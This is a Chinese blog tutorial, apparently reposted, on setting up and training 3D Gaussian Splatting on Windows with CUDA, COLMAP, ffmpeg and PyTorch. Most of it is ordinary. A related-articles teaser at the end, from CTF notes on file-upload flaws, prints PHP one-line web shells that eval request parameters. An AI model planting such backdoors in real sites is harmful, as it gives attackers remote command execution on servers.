Windows下3D Gaussian Splatting从0开始安装配置环境及训练教程

【注意事项】
1.建议用Anaconda配置
2.注意添加环境变量
3.diff-gaussian-rasterization代码已经更新,要下载最新的代码: 网页链接
使用文中的代码会报错TypeError: GaussianRasterizationSettings.new() got an unexpected keyword argument 'antialiasing'

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_64588173/article/details/138140240
收起
本文详细描述了在Windows环境下安装和配置3DGaussianSplatting(3dgs)所需的各种软件,包括C++编译器、Python、CUDA、colmap、ffmpeg等,并指导如何进行视频帧截取、点云生成、模型训练和结果查看。
摘要由CSDN通过智能技术生成
本文是博主在24年5月写的,半个月前(24年10月)3dgs源码以及对应套件都已经更新,所以不建议完全按照本文的步骤来了。具体变动是套件那里,需要下载官方的最新对应套件,3dgs github上有,在submodules目录下面。

本文将全程记录自己的3dgs环境配置以及训练过程,遇到的问题及解决办法。(Windows)

参考视频:3D Gaussian Splatting從0開始到Unreal與Unity-( pzman )_哔哩哔哩_bilibili。(非常详细优质的视频)

本文更多的是自己对该视频内容的总结与整理

目录

一、3dgs的安装及环境配置

1.下载3dgs项目

2.安装C++编译器

3.安装python

4.安装CUDA(有GPU显卡的机器)

5.安装colmap

7.安装ffmpeg

8.安装对应的pytorch版本

9.安装套件

9.1 tqdm

9.2

(1)diff-gaussian-rasterization下载安装

(2)simple-knn下载安装

10.安装viewer

二、3dgs的运行训练

1.视频截取帧

2.产生点云

3.查看点云

4.开始训练

5.查看结果

一、3dgs的安装及环境配置
1.下载3dgs项目
(1)直接进入github,下载zip压缩文件

GitHub - graphdeco-inria/gaussian-splatting: Original reference implementation of "3D Gaussian Splatting for Real-Time Radiance Field Rendering"

(2)使用gitclone

git clone https://github.com/graphdeco-inria/gaussian-splatting --recursive

2.安装C++编译器
点击链接下载C++编译器下载

下载完成后打开,弹出如下窗口

选择继续,安装完成后弹出如下窗口

一定要勾选下图中所示“使用C++的桌面开发”

静静等待下载完成

3.安装python
(1)不使用anaconda,直接安装

点击链接Python Release Python 3.10.6 | Python.org,最好安装3.10.6版本的,其他版本可能出现问题。

此处选择“Windows installer(64-bit)”即可下载完成后打开。然后勾选“Add Python 3.10 to PATH”,这样一般会把python配置在环境变量里,再选择“Install Now”。

安装完成后,查看python路径是否保存在环境变量里。

查看方法:点击任务栏里的搜索按钮(放大镜图标),然后搜索环境变量,选择“编辑系统环境变量”

打开后,选择环境变量

在系统变量里找到变量名字叫做path的,然后选中,然后点击编辑,查看python是否在环境变量里。

如果没问题的话,应该能看到如下图前两行类似的目录,看目录结尾有没有Python3.10即可

(2)使用anaconda(推荐)

使用anaconda来配置各种环境还是很方便的。anaconda的安装这里就不介绍了,作者默认为你已经安装好anaconda了。

打开anaconda prompt,可以在开始菜单anaconda目录下找到,创建环境3dgs

conda create -n 3dgs python=3.10.6 # 3dgs为虚拟环境名,也可以换成别的

输入y,回车。之后没有特殊说明遇到这种情况全都如此处理。

如果你已经配置了部分环境,想在现有环境里更改,可以如下命令

conda activate “环境”

conda uninstall python

conda install python=3.10.6

4.安装CUDA(有GPU显卡的机器)
进入网站CUDA Toolkit Archive | NVIDIA Developer,选择CUDA11.8(一定)

按照下图所示选择,选择完成后download。注意:version那一栏,是win10系统就选10,因为作者用的win11系统。

下载好以后,安装,没什么特别的,一路全部选择确定知道安装完成之后即可。

安装好以后,要配置环境变量。

步骤是先进入你的C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8这个目录。这一步得确保你能进入到这个目录,否则的话就要找到你的NVIDIA GPU Computing Toolkit安装目录,然后进入./CUDA/v11.8这个目录。

然后复制路径,然后重复上面3(1)步骤,选择path变量编辑之后,选择新建,然后粘贴该目录即可。

之后如果安装成功的话,打开你i的cmd终端窗口,输入

nvcc --version

如图所示,就是CUDA安装成功了。

5.安装colmap
点开链接Release 3.8 · colmap/colmap · GitHub

滑到最下面,选择

等待安装成功。

安装成功以后,可以在gaussian-splatting文件夹下,新建一个文件夹,起名3dgs_tools,用来存放colmap和ffmpeg。

然后,讲colmap的压缩包放到3dgs_tools文件夹下,并加压缩。

解压完成后,进入colmap文件夹,复制路径,并添加环境变量,添加方法与上文步骤4CUDA环境变量添加方法一样,只是路径不同罢了。

添加完以后,验证是否成功。如果在你的终端里输入COLMAP之后,能弹出来COLMAP的窗口,说明安装配置成功

7.安装ffmpeg
安装ffmpeg的目的就是为了把录制的视频切成照片帧,如果你有自己的方法可以截取照片帧,可以跳过这一步。

点击链接FFMPEG下载链接,然后找到如下安装包,并下载。

下载好之后,与COLMAP类似。把压缩包剪切到3dgs_tools文件夹下,然后解压缩。之后配置环境变量。方法是进入到下图所示目录,然后复制路径,并在环境变量里添加,添加方法与步骤4的CUDA添加环境变量方法相同,只是路径不同。、

添加好环境变量以后,检查是否安装成功,检查方法类似COLMAP的检查方法。就是打开终端,然后输入

ffmpeg --version

出现如上截图,就表明安装成功了。

8.安装对应的pytorch版本
(1)使用anaconda

如果你刚才创建的环境还没有安装pytorch,那么进入到你之前步骤创建的环境,然后输入

pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118

等待安装完成即可。

如果你之前安装过pytorch,则输入如下指令,先卸载再安装。

pip uninstall torch

pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118

(2)不使用anaconda

可以直接安装pytorch,最好在终端里进入你的gaussian-splatting安装目录,然后输入

pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118

如果是小白不知道怎么进入目录可以参考下面这张图

cd 你的文件夹名称就可以进入该文件夹,切换盘就直接输入 “盘:”。

9.安装套件
9.1 tqdm
pip install plyfile tqdm

参考pytorch安装,有环境进入环境输入指令。没环境则直接在终端里输入(gaussian-splatting目录下)

9.2
还有两个套件,现在终端里进入你的gaussian-splatting文件夹里的submodules目录下,然后依次输入下两个指令

pip install diff-gaussian-rasterization

pip install submodules/simple-knn

一般来说会遇到报错,然后就失败了。这里介绍第二种安装方法:手动安装。

(1)diff-gaussian-rasterization下载安装
点击链接diff-gaussian-rasterization下载

下载完成后,讲压缩包剪切到你的gaussian-splatting/submodules目录下,然后解压缩。

终端里进入gaussian-splatting/submodules/diff-gaussian-raterization(可能文件夹名称不完全一致,但是无所谓,保证层级关系相同就行)目录,在终端里输入

python setup.py install

一般就会安装成功。

正常安装的话应该会如下图所示,有一些warning

但是我在安装的时候呢,很奇怪,diff-gaussian-rasterization/third_party/glm文件夹不知道为啥没下载,导致安装的时候出现报错,然后我又在上面那个网站里找到对应的文件夹重新下载并放到对应目录里,重新安装了一下,成功了。

有遇到同样问题的同学也可以到如下网站上去下载glm文件夹,然后放到你电脑里的的diff-gaussian-rasterization/third_party/glm目录里

glm文件夹下载

(2)simple-knn下载安装
我是在这个网站里下载的simple-knn

simple-knn下载

然后跟diff-gaussian-raterization类似,把下载好的压缩包剪切到submodules目录下,然后解压缩,再在终端里进入gaussian-splating/submodules/simple-knn文件夹(可能文件夹名称不完全一致,但是无所谓,保证层级关系相同就行),然后输入

python setup.py install

等待安装成功

10.安装viewer
下载链接https://repo-sam.inria.fr/fungraph/3d-gaussian-splatting/binaries/viewers.zip

下载好以后,把压缩包剪贴到gaussian-splatting目录下,然后解压缩即可。

二、3dgs的运行训练
下述所有命令都是在终端里运行的,运行时保持是从gaussian-splatting目录下开始输入的。

1.视频截取帧
这里可以用自己手机拍摄的一段视频,一两分钟即可,可以参考一下作者的训练时间,作者用自己的笔记本(4060 8G),大概训练了两个小时左右,跑完了所有的迭代。

在gaussian-splatting目录下新建一个data文件夹,将你拍摄的视频移动到该data文件夹下,并将你的视频改名为input,后缀.mp4不用改。然后在data文件夹里再建一个与视频同名的文件夹,名字也是input。然后就可以输入命令啦(终端里从gaussian-splatting/data目录下开始输入)

cd data

ffmpeg -i input.mp4 -vf "setpts=0.2*PTS" input\input_%04d.jpg #推荐运行这个指令

ffmpeg -i input.mp4 -vf "setpts=0.2*PTS,fps=1" input\input_%04d.jpg #如果需要调整抽帧频率可以参考这个指令。选择一个运行即可

这里简单的说一下各个参数的含义。
setpts=0.2*PTS 将视频播放速度加快到原来的 5 倍。这意味着原视频的每秒帧数增加到 5 倍。
如果原始视频是 30 FPS,加速后的视频将以 150 FPS 播放。
尽管视频播放速度加快了,ffmpeg fps=1 会以每秒一帧的频率提取图片。
这样就可以把你的视频截取为帧并保存在input文件夹里,在input文件夹里应该可以看到许多张照片。目录结构大概如下

2.产生点云
在终端gaussian-splatting目录下输入

python convert.py -s data

这个就是利用安装的colmap产生点云,会花费一些时间,等待完成即可。

3.查看点云
终端里输入

colmap

调出来colmap后,选择file->import model

然后选择gaussian-splatting/data/sparse/0文件夹,选择确定,即可打开生成的点云,遇到弹窗×掉即可。可以看到生成的点云还有相机路径。

4.开始训练
同样,在终端里gaussian-splatting目录下,输入

python train.py -s data -m data/output

成功开始会出现如下图所示

然后耐心等待训练完成以后即可。

5.查看结果
同样,在终端里gaussian-splatting目录下,输入

.\viewers\bin\SIBR_gaussianViewer_app -m data/output

即可打开viewer窗口,可以把你的场景拖大,下面是一些快捷按键

w uio

asd jkl

就是可以控制视角的变化,大家自己按一下就知道是干啥的了,这里就不一一列举对应的功能了(作者已经累了),注意切换输入法为英文输入。

至此,就全部结束啦,完结撒花!

大家有什么问题都可以在评论区与我交流哦。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_64588173/article/details/138140240

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/880253.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【CTF笔记】文件上传漏洞

一、后门代码 1、一句话后门 <?php @eval($_get[cmd]); ?> <?php @eval($_request[cmd]);?> <script language="php">@eval($_post[cmd]);</script>注意,在PHP中配置 short_open_tag=on 时,图片中不能含有 <? ,有会影响PHP代码的…

​​2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)

2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)2025年中非人工智能产业发展论坛由广西产学研科学研究院、天津科学技术出版社、马里共和国驻华大使馆等单位联合举办,南宁市人工智能学会、IRNet国际学术交流中心承办,拟于2025年9月召开…

Tita 项目管理:前后置业务流程的得力助手

在当今竞争激烈的商业环境中,高效的项目管理对于企业的成功至关重要。而项目前后置业务流程的顺畅运作,更是决定项目成败的关键因素。接下来,让我们一起看看项目前后置业务流程的常见应用场景,以及 Tita 项目管理产品如何发挥重要作用。 项目启动前:精准规划,奠定成功基础…

P3405 [USACO16DEC] Cities and States S(哈希算法)

总的来说这是一道简单的哈希算法,由于是字符串,所以哈希编码时只用乘26就行了

虚拟化技术介绍

一、虚拟化技术简介 虚拟化(Virtualization)的含义很广泛。将任何一种形式的资源抽象成另一种形式的技术都是虚拟化,是资源的一种逻辑表示。解除了物理硬件和操作系统之间的紧耦合关系。虚拟化是云计算的基础。简单地说,虚拟化使得在一台物理的服务器上可以跑多台虚拟机,虚…

地平线 3D 目标检测 Bevformer 参考算法 V2.0

该示例为参考算法,仅作为在 征程 6 上模型部署的设计参考,非量产算法 简介 BEVFormer 是当前热门的自动驾驶系统中的 3D 视觉感知任务模型。BEVFormer 是一个端到端的框架,BEVFormer 可以直接从原始图像数据生成 BEV 特征,无需依赖于传统的图像处理流程。它通过利用 Transf…

.NET周刊【1月第3期 2025-01-19】

国内文章 互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(一):从.NET IoT入门开始 https://www.cnblogs.com/GreenShade/p/18667671 文章介绍了一款基于树莓派Zero 2W和.NET技术的智能桌面机器人。作者因对该项目的兴趣与网友需求而进行开发。产品结…

AUTOSAR 学习笔记

AUTOSAR 学习笔记 概述 ​ 本文章为0基础小白记录AUTOSAR学习笔记。如有错误,欢迎评论区指正。个人笔记模式习惯采用提问式记录,也是这篇文章的主要记录模式。 补充,大篇幅文章推荐: 《AutoSAR入门到精通系列讲解》作者:雪云飞星 https://blog.csdn.net/xyfx_fhw/category…

Win11环境下安装Oracle Databases 11g 遇到[INS-13001]环境不满足最低要求解决办法

找到你解压后的文件,点击打开database文件夹 -->stage文件夹 -->cvu文件夹 -->cvu_prereq.xml文件,用记事本打开cvu_prereq.xml文件; 在这个<CERTIFIED_SYSTEMS>。。。</CERTIFIED_SYSTEMS>语句之间增加如下代码: ...... <CERTIFIED_SYSTEMS> &…

Zookeeper入门api与应用

一、 说明 Zookeeper作为一个分布式的服务框架,主要用来解决分布式集群中应用系统的一致性问题,它能提供基于类似于文件系统的目录节点树方式的数据存储,但是 Zookeeper并不是用来专门存储数据的,它的作用主要是用来维护和监控你存储的数据的状态变化。通过监控这些数据状态…

马走日(结论题)

这道题本质上,是一道结论题,结论如下: 1.小尺寸处理: 如果点阵的行或列有一个为1,则马无法移动,只能留在起点,此时答案为1。 如果点阵的最小边为2,则马只能沿着较长的边移动,每次移动步长为2,此时答案为较长边的一半加1。 2.中等尺寸处理: 当点阵为3x3时,马无法到达…

[lnsyoj1158] 淘淘蓝蓝之幻影树

dp题意sol 若某一方胜利,则设该方战胜的区间为 \([l_i,r_i]\),那么过程可描述为 \(1\) 打败 \([l_1,r_1]\),\(2\) 打败 \(l_2,r_2\)…………\(k\) 打败 \([l_k,r_k]\)。显然,\(k\) 打败 \([l_k,r_k]\)…………\(2\) 打败 \(l_2,r_2\),\(1\) 打败 \([l_1,r_1]\) 与之等价,…